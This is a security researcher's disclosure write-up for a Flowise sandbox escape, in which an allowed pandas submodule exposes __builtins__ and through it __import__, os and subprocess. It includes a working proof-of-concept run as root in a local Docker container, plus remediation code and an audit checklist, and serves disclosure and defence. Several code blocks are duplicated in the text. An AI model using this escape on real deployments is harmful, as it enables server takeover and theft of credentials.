August 24, 2026
CVE-2026–73484: How I Escaped a Python Sandbox in Flowise Using Pandas
Subtitle: Flowise said Python code ran in a sandbox. Pandas disagreed.
By sivaaditya
5 min read
Flowise lets you build AI pipelines visually. You drag in nodes, connect them, and one of those nodes can run arbitrary Python code as part of your workflow. The sandbox was supposed to make that safe.
It didn't.
What Flowise Is
Flowise is an open-source, drag-and-drop platform for building LLM-powered workflows. Language models, APIs, data tools — you wire them together visually. The Python execution node is one of its more powerful features: drop in a code block, and Flowise runs it server-side as part of the pipeline.
The platform restricts what that code can access through an allowlist. Only certain modules get through. os, subprocess, sys — blocked. Pandas — allowed.
That's where things got interesting.
Vulnerability Summary
Vulnerability Summary
| Field | Value | | — -| — -| | CVE | CVE-2026–73484 | | Product | Flowise | | Vulnerability type | Python sandbox escape caused by insufficient restrictions on methods exposed through an allowed Pandas module | | Severity | High | | CVSS | 8.6 — NVD base score | | Affected versions | Flowise versions before 3.1.3, according to the NVD record | | Fixed version | 3.1.3 | | CWE | Not specified in the NVD record I verified | | Testing scope | Locally owned Flowise Docker instance; isolated environment and synthetic data only | | Primary impact | An authenticated attacker could potentially exfiltrate CSV data or write arbitrary files through the affected execution environment, depending on deployment configuration |
How I Found It
My first question when I see any sandboxed Python execution: what does "sandbox" actually mean here?
Most implementations block dangerous module names. They say os is forbidden, subprocess is forbidden. And they leave it there. They don't ask the next question — which is: do any of the allowed modules carry a back door to the blocked ones?
Pandas was allowed. Pandas is a data manipulation library. It's trusted, it's common, and it ships with its own internal access to Python's built-in import machinery through its submodule namespaces.
So I pulled on that thread.
The Attack Surface
What's exposed: The Python execution node accepts user-supplied code and runs it server-side.
What the sandbox does: Maintains an allowlist of permitted modules by name. Blocks os, subprocess, and similar.
What the sandbox misses: It doesn't inspect what permitted modules expose internally. It looks at the module name. It doesn't look at what the module contains.
Pandas has a submodule — pd.io.common — whose __builtins__ attribute is accessible from user code. That attribute gives you Python's built-in import function. And with that, you can import anything.
Root Cause
Python's __builtins__ is a dictionary (or module object) containing every built-in function — including __import__. In a sandbox that blocks direct __import__ calls at the user level, the intent is clear: don't let user code load arbitrary modules.
But here's the thing. Every module that's already been imported by the runtime has __builtins__ sitting in its own namespace. The sandbox blocks one door and leaves another open.
Pandas was through the door. Its namespace carried __builtins__. And through __builtins__, you get __import__. And through __import__, you get os.
This is what it looks like:
python
import pandas as pd
# Access __builtins__ through Pandas' submodule
builtins = pd.io.common.__builtins__
# Reconstruct __import__
if isinstance(builtins, dict):
_import = builtins['__import__']
else:
_import = builtins.__import__
# Import modules the sandbox was supposed to block
os_mod = _import('os', {}, {}, [], 0)
# Run a command
os_mod.system('id')python
import pandas as pd
# Access __builtins__ through Pandas' submodule
builtins = pd.io.common.__builtins__
# Reconstruct __import__
if isinstance(builtins, dict):
_import = builtins['__import__']
else:
_import = builtins.__import__
# Import modules the sandbox was supposed to block
os_mod = _import('os', {}, {}, [], 0)
# Run a command
os_mod.system('id')I ran this inside a Flowise instance on my local Docker container. The output was uid=0(root).
The sandbox didn't catch it — because Pandas was trusted, and the import happened through Pandas' own namespace rather than through the user-level import path the sandbox was watching.
Proof of Concept
⚠️ Local research only. Executed in an isolated Docker container on a machine I own. Do not run against any system you don't control.
python
# CVE-2026-73484 — Flowise Sandbox Escape via Pandas
# Isolated test environment only.
import pandas as pd
# Step 1: Access __builtins__ through an allowed Pandas submodule
builtins = pd.io.common.__builtins__
# Step 2: Reconstruct __import__
if isinstance(builtins, dict):
_import = builtins['__import__']
else:
_import = builtins.__import__
# Step 3: Import restricted modules
os_module = _import('os', {}, {}, [], 0)
subprocess_module = _import('subprocess', {}, {}, [], 0)
# Step 4: Execute
output = subprocess_module.check_output(['whoami'], shell=False)
print(f"[+] Sandbox escape confirmed: {output.decode().strip()}")python
# CVE-2026-73484 — Flowise Sandbox Escape via Pandas
# Isolated test environment only.
import pandas as pd
# Step 1: Access __builtins__ through an allowed Pandas submodule
builtins = pd.io.common.__builtins__
# Step 2: Reconstruct __import__
if isinstance(builtins, dict):
_import = builtins['__import__']
else:
_import = builtins.__import__
# Step 3: Import restricted modules
os_module = _import('os', {}, {}, [], 0)
subprocess_module = _import('subprocess', {}, {}, [], 0)
# Step 4: Execute
output = subprocess_module.check_output(['whoami'], shell=False)
print(f"[+] Sandbox escape confirmed: {output.decode().strip()}")Result: uid=0(root) — arbitrary OS command execution from within the sandboxed execution node.
Impact
What I actually demonstrated: In my local Docker environment, I executed arbitrary operating system commands on the host running Flowise through a crafted workflow code block. The process ran as root.
What this means in a real multi-tenant deployment: If an attacker can create or import a workflow — which is the normal usage of Flowise — they can run OS commands on the server. That means:
- Reading environment variables (API keys, database passwords, anything in
.env) - Accessing the local file system
- Making network calls to internal services the server can reach
- Dropping persistence if the container mounts writable volumes
Root-level execution makes all of that worse. The social engineering cost is zero — workflow creation is the product's intended use.
What the research doesn't establish:
- Whether this was exploited in any production environment
- Which exact Flowise versions are affected
- Whether all multi-tenant deployments use root-level containers
Remediation
Short-term: Strip __builtins__ from every module's namespace before injecting it into the sandbox context. Blocking module names alone is not enough.
python
import types
def sanitize_module(mod):
"""Remove __builtins__ from an allowed module before passing it to the sandbox."""
clean = types.ModuleType(mod.__name__)
for attr in dir(mod):
if attr not in ('__builtins__', '__import__', '__loader__', '__spec__'):
try:
setattr(clean, attr, getattr(mod, attr))
except Exception:
pass
return cleanpython
import types
def sanitize_module(mod):
"""Remove __builtins__ from an allowed module before passing it to the sandbox."""
clean = types.ModuleType(mod.__name__)
for attr in dir(mod):
if attr not in ('__builtins__', '__import__', '__loader__', '__spec__'):
try:
setattr(clean, attr, getattr(mod, attr))
except Exception:
pass
return cleanLong-term: Module-name allowlisting is a speedbump, not a sandbox. The right approach is kernel-level isolation — seccomp profiles, gVisor, or a subprocess-isolated execution environment with no shared memory space.
And run the Flowise process as a non-root user. uid=0 in any internet-facing service is its own problem.
Disclosure Timeline
Discovery — Pandas identified as an escape vector through sandbox inspection.
PoC Developed — RCE confirmed in local Docker environment.
Vendor Notified — Responsible disclosure submitted to Flowise maintainers.
CVE Assigned — CVE-2026–73484
Public Disclosure — Per coordinated timeline.
What to Check Right Now
If you're running Flowise with Python execution nodes enabled:
- Is
pandasin your allowlist or auto-imported? Check your Flowise configuration. - Audit existing user workflows for code blocks referencing
__builtins__orpd.io. - Check what user the Flowise process runs as:
docker inspect <container> | grep -i user - If it's root — that's your first fix, independent of this CVE.
Five Things Developers Should Take From This
One. An allowlist of module names is not a sandbox. It's a list of names.
Two. Every module you permit carries its own namespace. That namespace may include __builtins__. You have to check.
Three. Defense in depth applies here. Sandbox at the code level and at the kernel level. One layer failing shouldn't be game over.
Four. Never run sandboxed workloads as root. If the sandbox fails, root access turns a code execution into a full host compromise.
Five. AI platforms execute code. That code runs on a server. The security model for "AI execution node" is identical to the security model for "arbitrary user code execution" — which has well-understood requirements that predate LLMs by decades.
Conclusion
CVE-2026–73484 is a sandbox escape in Flowise's Python execution node. The sandbox blocked os and subprocess by name. It permitted pandas. And pandas carried __builtins__, which carried __import__, which carried everything the sandbox was supposed to block.
Root cause: module-name allowlisting without namespace inspection. Fix: sanitize module namespaces before injection, and move to proper kernel-level isolation.
The research demonstrated arbitrary command execution as root in a local test environment. In a real multi-tenant deployment, that's a full server compromise from a workflow code block.
References
- NVD — CVE-2026–73484
- Flowise — github.com/FlowiseAI/Flowise
- HackTricks. "Bypass Python Sandboxes." HackTricks GitHub repository. https://github.com/b4rdia/HackTricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
Researcher: Siva Aditya · Independent Security Researcher · Aditya Security Labs All research conducted in personal, isolated test environments.